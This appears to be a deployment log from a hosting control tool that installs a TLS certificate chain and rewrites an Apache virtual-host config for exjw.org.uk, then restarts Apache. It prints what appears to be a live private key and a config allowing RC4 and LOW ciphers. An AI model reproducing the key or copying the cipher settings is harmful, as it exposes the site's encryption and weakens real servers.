EwtleGp3Lm9yZy51azCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANU9
sRAKOLk5XPGjLFs9nT4UHu0voS3ALEYn61rsiD3KIhKvq/OW/tn1eVWKyYhBdtFp
VwERzIWnQF5Azh87BwBHPrwPE/HeAmnx0y10k8SHffEbXoCojtyoMyQXD8dWYXY5
KsWiEcDXqL2DzI2dbz+9l7QIfHP4Y2m65+4i8gTkqVpiqT292F6QCtcnPCERTmIE
GRkJpX2ddesKxxI8IcFguzah/bbaoA1hQSJpHZuJtuHWiXgNqiQOZfOu8PesibRR
81iS9I2aEqPiW9lL2jtXb19xifeiAIVmflSMDwPGKXhPaucQej3PZY6OhDbU2Dd0
7+tDZBDTlBjYtPOQlP0CAwEAAaOCAiswggInMA4GA1UdDwEB/wQEAwIFoDATBgNV
HSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRcEHHZIFDc
1BNQGbjEHkA6tcEdoTAfBgNVHSMEGDAWgBRAFS0mee0yIJ7fmnId1jIfgQyBDDAz
BggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjIuaS5sZW5jci5v
cmcvMCcGA1UdEQQgMB6CC2V4ancub3JnLnVrgg93d3cuZXhqdy5vcmcudWswEwYD
VR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMi5j
LmxlbmNyLm9yZy84OC5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkAfgBGr4Y9
Oz7ln6V33qgkXTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ9Pw3n0AAgAAAUADIsOgwQD
AEcwRQIhAM50Qk+8VSBQ0w54cQmp+p/YEc+HsAjzhg5haxFyRHj/AiA2hDlVAWUN
MS50GOTMEkU67dwWDdTKeWJQOzATyc2xogB3ANgJVTuUT3r/yBYZb5RPhauw+Pxe
h1UmDxXRLnK7RUsUAAABn0/DefwAAAQDAEgwRgIhANlAWFvadsnFvi2LsPJs6rfC
z3S2auPy1XLaHkMOO7sSAiEAgBXOtKjbX2uHlh9fY9oWjnAUvPiz2SYcnVSAQbWx
n/YwDQYJKoZIhvcNAQELBQADggEBABXhY0SFrZQHX0tlyP+QMS5jx+/eLIYCQ0/B
SWpovN/TUX2X+2nJZBCw2RRxXUf/RxEOocpHmmypCmGn0nMwQpbkCSIcXDFsmlIZ
EaihWf7iHziy2JZJHFGkiZTQM2Dtm0vrfTU9NDEYoj0jlLVYm5HkpfFN5JaPJtrE
+FPiK5zoJuHEcGklGh6KvAPkqojU0h3GX+imqusNQ6Y+iX+QfSQ61LoA7eFlYl4R
uYABOhYa533vkZatVspZz8Xtc5QauHQBYld+tFh7dHKFUOJdgWsrmpTWVnnMBBf9
o3CKatbvaWQbm30YbbBqJlYuK9hTyOwNDn5ocfYrC/NLq4Ogdyk=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDVPbEQCji5OVzx
oyxbPZ0+FB7tL6EtwCxGJ+ta7Ig9yiISr6vzlv7Z9XlVismIQXbRaVcBEcyFp0Be
QM4fOwcARz68DxPx3gJp8dMtdJPEh33xG16AqI7cqDMkFw/HVmF2OSrFohHA16i9
g8yNnW8/vZe0CHxz+GNpuufuIvIE5KlaYqk9vdhekArXJzwhEU5iBBkZCaV9nXXr
CscSPCHBYLs2of222qANYUEiaR2bibbh1ol4DaokDmXzrvD3rIm0UfNYkvSNmhKj
4lvZS9o7V29fcYn3ogCFZn5UjA8Dxil4T2rnEHo9z2WOjoQ21Ng3dO/rQ2QQ05QY
2LTzkJT9AgMBAAECggEAE8SCSNW0aHH0NxpEnw4D06C9392jIsCb2he9Q6fbAWS0
P+iKbNcPN66qhCQ3hoAQabKgNCMtmH48A1YdRYaNTENOginLqYeb0FfF7ILQEqSU
0j29RvlZNQS1U5/SVfegqqWmB2gnc9RfeiILsQe/1mLW+1jbYKIiunHEf648TU5R
6m50u/sE1YJ19XbT82ozQfNharW/poUcPAJkGWGnrHXlSh6loq0k/yjhDn3XKhPU
KyvJyfKHFQzsYRbk+AuwpYV9Lu2l0KiLhVRoXHfUeWfnbBlHDyEb+K2PIieQwiZg
0w5UEUYaFgVEOCCxA2NB3t3dXMOyyty+Bm8eA8l/6QKBgQDsTGdiseQZ9YbXarer
rmLQJ1YxllorRlZc0A2BKBax3EQZlxIoJz2MVnojVSGFTJ+MoIspfNjB97ooQ0XC
H+A2kAMff+1vOWP5XQAlybqq8TBLgG1+MjS6sq0s9fX+PHGV3Ko46N5D7JHv0EaR
eSoipl98MpDu0Ryud2wSCzyXEwKBgQDnBSUjqoJQ6h59HIJ+oKlS7vkpIQR+873A
/ZtszZ2KfjOtVj6+Yr8NvwbLdqKSDBlK6WWvPTysTKJjXA3MUE/glr95Sf1jdyuc
64hGQsxj9zz9GrzI3hzFiYIuhQrcULUPCfDpTuy2TFK+TTrIApCAuJBX/xtCRFAg
zGJ58JRVrwKBgQCoH9BrS1CVG7k96cMW1rOdkG9mRqiPI7Nsw+bn30MOdz7IylDz
2r+S6zBplTeNZTAb2VpKQXbjw0NjREIM1asshxiBv/6KZVX5ZS8ms7opyANppM3C
vSwBLgHC/Jlys0TJsMA4T49c2qQW8aRT+tZ84s0LS9sM4CG9DGELEY2hmwKBgH0O
vvUYt2S/5/NIPKf5ps+bR8vo8LscjQrs/nces3qmKKlbt6luYQg68Z2wwf6XiBWS
VRZQ6whGj92DloCUtTjZwhsRX5a5iyVuJx4JyQUQcLZ/A9Ukz6RrdMpkAOYU1n6m
ngBeViu1E1GrEvf0026q+pB4K7RqsImgumpSPqpHAoGBAJzCRbVWi/+NIpAILKPN
IRbIN6cFYKr/YzFY5opUirAI5GXMI4qgcFSu4DcMvEh5W6eVjjE31kYpM/kIZLth
xy6g0AvHUhnnPM0XO2rVj8KMfCdr9tDXF4wByIOAba2vvREpffK0KuTcKx9SJXMS
F9rCj2dj5VsyDMad0ya4+lDR
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-11 06:00:39: 

chmod 755 /tmp/pkp492395; /tmp/pkp492395; rm /tmp/pkp492395

2026-07-11 06:00:39: 


dir=/etc/ssl/certs


2026-07-11 06:00:39: 

PUT: /tmp/pkp633655

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/exjw_www_org-uk.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-11 06:00:39: 

chmod 755 /tmp/pkp633655; /tmp/pkp633655; rm /tmp/pkp633655

2026-07-11 06:00:39: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/exjw_www_org-uk.conf 39

<VirtualHost *:80>
    ServerName	exjw.org.uk
    ServerAlias	www.exjw.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	exjw.org.uk
    ServerAlias	www.exjw.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_secure_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-07-11 06:00:39: 

PUT: /tmp/pkp265759

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=exjw_www_org-uk.conf
TARGET=/etc/apache2/sites-enabled/exjw_www_org-uk.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	exjw.org.uk
    ServerAlias	www.exjw.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	exjw.org.uk
    ServerAlias	www.exjw.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_secure_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/exjw_www_org-uk.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/exjw_www_org-uk.conf)= /etc/apache2//etc/apache2/sites-enabled/exjw_www_org-uk.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/exjw_www_org-uk.conf= 1'
fi


2026-07-11 06:00:39: 

chmod 755 /tmp/pkp265759; /tmp/pkp265759; rm /tmp/pkp265759

2026-07-11 06:00:39: 




2026-07-11 06:00:39: 

PUT: /tmp/pkp657283

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-11 06:00:39: 

chmod 755 /tmp/pkp657283; /tmp/pkp657283; rm /tmp/pkp657283

2026-07-11 06:00:39: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-11 06:00:39: Establishing a connection
2026-07-11 06:00:40: 

PUT: /tmp/pkp569171

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-11 06:00:40: 

chmod 755 /tmp/pkp569171; /tmp/pkp569171; rm /tmp/pkp569171

2026-07-11 06:00:40: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
         port 80 namevhost login.vela.work (/etc/apache2/sites-enabled/vela_login_work.conf:2)
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:23)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
         port 443 namevhost login.vela.work (/etc/apache2/sites-enabled/vela_login_work.conf:22)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-11 06:00:40: 

PUT: /tmp/pkp874918

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/exjw_www_org-uk.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-11 06:00:40: 

chmod 755 /tmp/pkp874918; /tmp/pkp874918; rm /tmp/pkp874918

2026-07-11 06:00:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/exjw_www_org-uk.conf	1323

<VirtualHost *:80>
    ServerName	exjw.org.uk
    ServerAlias	www.exjw.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	exjw.org.uk
    ServerAlias	www.exjw.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_secure_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-07-11 06:00:40: 

PUT: /tmp/pkp552835

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
